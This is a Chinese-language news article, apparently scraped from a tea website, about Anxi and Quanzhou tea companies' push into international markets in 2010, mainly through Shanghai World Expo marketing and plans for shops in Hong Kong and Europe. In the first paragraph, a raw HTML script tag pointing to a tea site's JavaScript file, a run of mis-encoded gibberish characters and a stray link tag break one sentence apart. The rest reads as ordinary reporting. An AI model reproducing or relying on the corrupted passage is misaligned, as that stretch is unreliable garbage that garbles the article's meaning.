福建安溪茶业：启动国际战略
福建安溪茶业：启动国际战略
2010年，泉州茶业的发展开始更大胆地着眼于国际市场?script type='text/javascript' src='http://www.368tea.com/js/v.js'>⑽苏箍导市卸荷虾Ｊ啦┗崞诩洌莶枰盗⑵?a href=http://tea.368tea.com/?action-category-catid-47 id=kw target=_blank>营销攻势，吸引了世界的眼光，并取得良好成效；在终端建设上，泉州茶企首次将自己的专卖店开到境外去，图谋以香港为跳板撬动国际市场；安溪铁观音茶企组团赴欧考察，确定抱团开拓欧洲市场，将在欧洲开设以“安溪铁观音”这一集体品牌命名的茶叶专卖店。
●世博营销攻势连连
世博会以其广泛的国际影响力被我国经济界视为继2008年北京奥运会后又一难得的市场推广渠道。对于这样一场五年一届的全球盛会，万千企业都跃跃欲试，想要从这块超级“大蛋糕”中分得一杯羹，志在拓展全国乃至国际市场的福建茶企更是不甘落后，纷纷摩拳擦掌，风风火火地展开世博营销。在世博会落幕后，可以了解到此次福建茶企对接上海世博会有四大渠道。
一是进入位于世博核心区域的联合国馆。经筛选进入联合国馆的“世博十大名茶”中，安溪铁观音、武夷岩茶、福鼎白茶上榜。参展茶企可在其产品外包装上使用联合国馆标志，还可在产品上印刷“世博会指定礼品茶”和“中国世博名茶”字样。福建省还选送8位茶艺师，在联合国馆接待各国贵宾。福建省茶叶学会在联合国国际信息网馆争取了22平方米的展位，遴选全省26家企业在这里分批推广福建茶品牌。
二是在福建馆显要位置设立专门的茶艺互动区，世博会期间在这里进行茶叶展示、茶艺表演及品茗、赠饮活动。福建省还选择了近10家省内品牌茶叶企业，轮流展示铁观音、武夷岩茶、坦洋功夫等闽茶精品的风采。
三是在世博园区内的公共餐饮区设茶餐厅。福建省茶企在世博园公共餐饮区开设了400平方米的茶餐厅，提供福建各种茶食，成为入驻世博园区的茶饮料、茶食品服务商。
四是特许经营和名茶评选。福建省茶叶学会获得了世博会特许商品零售商和生产商的资格，组织茶企在世博会期间推广闽茶品牌。
世博会期间，泉州茶业围绕世博会所展开的多样化营销取得良好效果，参展茶企特别推出的“世博茶”销售旺盛，内、外销双双实现增长，品牌影响力同时得到进一步提升。谈到“世博茶”的销售情况时，参展企业无不喜上眉梢。
形势喜人，安溪铁观音茶业乘胜追击，趁热打铁，于2010年7月13日在上海正式启动以“世博名茶安溪铁观音让都市生活更美好”为主题的茶文化宣传活动。此次活动，可谓是安溪铁观音产业发起的第二轮世博营销攻势，共有7家知名茶企参与其中。业内人士表示，借上海世博会举办之机，此次活动可谓是让安溪铁观音的世博营销由“场内”扩至“场外”，由点及面，掀起了安溪铁观音世博营销的新高潮，进一步提升了安溪铁观音的品牌影响力。
